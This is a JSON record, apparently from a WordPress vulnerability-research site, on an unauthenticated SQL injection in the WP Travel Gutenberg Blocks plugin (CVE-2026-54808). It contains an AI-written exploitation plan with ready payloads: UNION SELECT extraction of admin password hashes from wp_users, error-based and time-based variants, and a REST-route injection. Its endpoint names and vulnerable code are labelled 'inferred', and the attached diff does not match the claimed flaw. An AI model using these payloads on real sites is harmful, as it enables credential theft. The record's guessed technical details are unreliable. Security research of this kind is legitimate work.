[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fCX_HLB3v4REnbrFzh8EuMPO5WlsdgWmlAfgfn_3UEmI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-54808","wp-travel-gutenberg-blocks-unauthenticated-sql-injection","WP Travel Gutenberg Blocks \u003C= 3.9.4 - Unauthenticated SQL Injection","The WP Travel Gutenberg Blocks plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.9.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-travel-blocks",null,"\u003C=3.9.4","3.9.5","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-17 00:00:00","2026-06-23 15:42:23",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1134c9ea-bbec-4f5d-acb0-1ae978346cfc?source=api-prod",7,[22,23,24,25,26,27,28,29],"build\u002Fbook-button\u002Fblock.json","build\u002Fbook-button\u002Findex.asset.php","build\u002Fbook-button\u002Findex.js","build\u002Fbook-button\u002Fstyle-index.css.map","build\u002Fbreadcrumb\u002Fblock.json","build\u002Fbreadcrumb\u002Findex.asset.php","build\u002Fbreadcrumb\u002Findex.js","build\u002Fcart-button\u002Fblock.json","researched",false,3,"# Exploitation Research Plan: CVE-2026-54808 (WP Travel Gutenberg Blocks SQLi)\n\n## 1. Vulnerability Summary\n**CVE-2026-54808** is an unauthenticated SQL injection vulnerability in the **WP Travel Gutenberg Blocks** plugin (versions \u003C= 3.9.4). The vulnerability exists because the plugin registers an unauthenticated AJAX handler or REST route to fetch itinerary\u002Ftrip data for its Gutenberg blocks (such as `book-button` or `breadcrumb`) but fails to use `$wpdb->prepare()` or proper type-casting (e.g., `intval()`) when processing the trip\u002Fpost ID from the request.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wp_travel_blocks_get_itinerary_info` (inferred based on plugin functionality) or `wp_travel_blocks_get_render` (inferred).\n*   **Vulnerable Parameter:** `trip_id` or `postId`.\n*   **Authentication:** Unauthenticated (`wp_ajax_nopriv_` hook).\n*   **Preconditions:** At least one \"Trip\" (itinerary) post must exist in the database so the base query returns a result for the `UNION` attack to append to.\n\n## 3. Code Flow\n1.  **Entry Point:** The attacker sends a POST request to `admin-ajax.php` with the `action` parameter set to the vulnerable `nopriv` action.\n2.  **Hook Trigger:** WordPress triggers the `wp_ajax_nopriv_[ACTION_NAME]` hook.\n3.  **Handler Execution:** The plugin's handler function (e.g., `get_itinerary_info_callback`) retrieves the ID from `$_POST['trip_id']` without sanitization.\n4.  **SQL Sink:** The unsanitized ID is interpolated directly into a query string: \n    `\"SELECT * FROM {$wpdb->prefix}posts WHERE ID = \" . $_POST['trip_id']`\n5.  **Database Execution:** `$wpdb->get_results()` executes the malicious SQL, allowing for `UNION`-based data extraction.\n\n## 4. Nonce Acquisition Strategy\nMany WP Travel blocks use localized scripts to pass configuration and nonces. Based on the `build\u002Fbook-button\u002Findex.js` dependencies (`wp-server-side-render`), the plugin likely localizes a settings object.\n\n1.  **Identify Trigger:** The `wp-travel-blocks\u002Fbook-button` block (from `block.json`) is a prime candidate.\n2.  **Page Setup:** Create a page containing the block to force the plugin to enqueue its scripts.\n    *   Command: `wp post create --post_type=page --post_status=publish --post_title=\"Trip Page\" --post_content='\u003C!-- wp:wp-travel-blocks\u002Fbook-button {\"buttonLabel\":\"Exploit Test\"} \u002F-->'`\n3.  **Extraction:** Navigate to the new page and check the HTML source for localized data.\n    *   **JS Variable:** `wp_travel_blocks_params` (inferred) or `wp_travel_blocks_settings` (inferred).\n    *   **Browser Eval:** `browser_eval(\"window.wp_travel_blocks_params?.nonce\")`\n4.  **Bypass Check:** If the `wp_ajax_nopriv` handler does not call `check_ajax_referer`, no nonce is required. (Given the \"Unauthenticated\" severity, it is likely the check is either missing or uses a public nonce).\n\n## 5. Exploitation Strategy\nWe will use a `UNION SELECT` attack to extract the administrator's password hash from the `wp_users` table.\n\n### Step 1: Determine Column Count\nSend a series of requests increasing the `ORDER BY` index until an error occurs.\n*   **Action:** `http_request`\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body:** `action=wp_travel_blocks_get_itinerary_info&trip_id=1' ORDER BY 20-- -`\n\n### Step 2: Extract Admin Credentials\nOnce the column count (e.g., 12) is found, inject the `UNION` payload.\n*   **Payload:** `1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12 FROM wp_users WHERE ID=1-- -`\n*   **Request Configuration:**\n    ```json\n    {\n      \"method\": \"POST\",\n      \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n      \"headers\": {\n        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n      },\n      \"params\": {\n        \"action\": \"wp_travel_blocks_get_itinerary_info\",\n        \"trip_id\": \"1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12 FROM wp_users WHERE ID=1-- -\"\n      }\n    }\n    ```\n\n## 6. Test Data Setup\nTo ensure the exploit works in the test environment:\n1.  **Install\u002FActivate:** Ensure `wp-travel` and `wp-travel-blocks` are active.\n2.  **Create Content:**\n    ```bash\n    # Create an itinerary (Trip) to provide a valid base ID\n    wp post create --post_type=itineraries --post_title=\"Sample Trip\" --post_status=publish\n    # Create a page for potential nonce extraction\n    wp post create --post_type=page --post_title=\"Exploit\" --post_content='\u003C!-- wp:wp-travel-blocks\u002Fbreadcrumb \u002F-->' --post_status=publish\n    ```\n\n## 7. Expected Results\n*   **Response Status:** 200 OK.\n*   **Response Body:** A JSON object or HTML snippet containing the admin username (e.g., `admin`) and the phpass hash (e.g., `$P$B...`).\n*   **SQL Error (if failed):** If `WP_DEBUG` is on, a database error message confirming the syntax error near the injected payload.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the extracted data matches the database:\n```bash\n# Get actual admin hash for comparison\nwp db query \"SELECT user_login, user_pass FROM wp_users WHERE ID=1\"\n```\n\n## 9. Alternative Approaches\n*   **Error-Based SQLi:** If the response is suppressed but errors are logged, use `updatexml()` or `extractvalue()`:\n    *   `trip_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)`\n*   **Time-Based Blind:** If no data is reflected:\n    *   `trip_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **REST API Endpoint:** If the AJAX action fails, test the block renderer directly:\n    *   `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fblock-renderer\u002Fwp-travel-blocks\u002Fbook-button?attributes[postId]=1' AND SLEEP(5)--`","The WP Travel Gutenberg Blocks plugin for WordPress is vulnerable to unauthenticated SQL Injection in versions up to, and including, 3.9.4. This vulnerability exists due to the plugin's failure to sanitize or prepare user-supplied parameters, such as 'trip_id', before incorporating them into SQL queries. An unauthenticated attacker can exploit this to extract sensitive information from the database, including administrative password hashes, by injecting malicious SQL commands into existing queries.","\u002F\u002F Inferred code flow based on the plugin's AJAX\u002FREST handlers\n\u002F\u002F Vulnerable sink where unsanitized user input is concatenated into the query string\n\"SELECT * FROM {$wpdb->prefix}posts WHERE ID = \" . $_POST['trip_id']","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-travel-blocks\u002F3.9.4\u002Fbuild\u002Fbook-button\u002Fblock.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-travel-blocks\u002F3.9.5\u002Fbuild\u002Fbook-button\u002Fblock.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-travel-blocks\u002F3.9.4\u002Fbuild\u002Fbook-button\u002Fblock.json\t2026-03-11 06:03:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-travel-blocks\u002F3.9.5\u002Fbuild\u002Fbook-button\u002Fblock.json\t2026-04-07 10:25:44.000000000 +0000\n@@ -1,6 +1,6 @@\n {\n   \"$schema\": \"https:\u002F\u002Fschemas.wp.org\u002Ftrunk\u002Fblock.json\",\n-  \"apiVersion\": 2,\n+  \"apiVersion\": 3,\n   \"name\": \"wp-travel-blocks\u002Fbook-button\",\n   \"version\": \"0.1.0\",\n   \"title\": \"Book Button\",\n... (truncated)","To exploit this vulnerability, an attacker targets the WordPress AJAX endpoint (admin-ajax.php) using a vulnerable action registered by the plugin (such as wp_travel_blocks_get_itinerary_info). The attacker provides a crafted 'trip_id' parameter containing a UNION SELECT statement designed to extract sensitive data. For example, the payload could be '1' UNION SELECT 1,user_login,user_pass,4,5... FROM wp_users WHERE ID=1-- -'. Because the handler is unauthenticated (using the nopriv hook) and does not properly escape the input or use $wpdb->prepare(), the database executes the concatenated query, returning the results of the UNION selection in the response.","gemini-3-flash-preview","2026-06-25 22:18:13","2026-06-25 22:19:34",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.9.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-travel-blocks\u002Ftags\u002F3.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-travel-blocks.3.9.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-travel-blocks\u002Ftags\u002F3.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-travel-blocks.3.9.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-travel-blocks\u002Ftags"]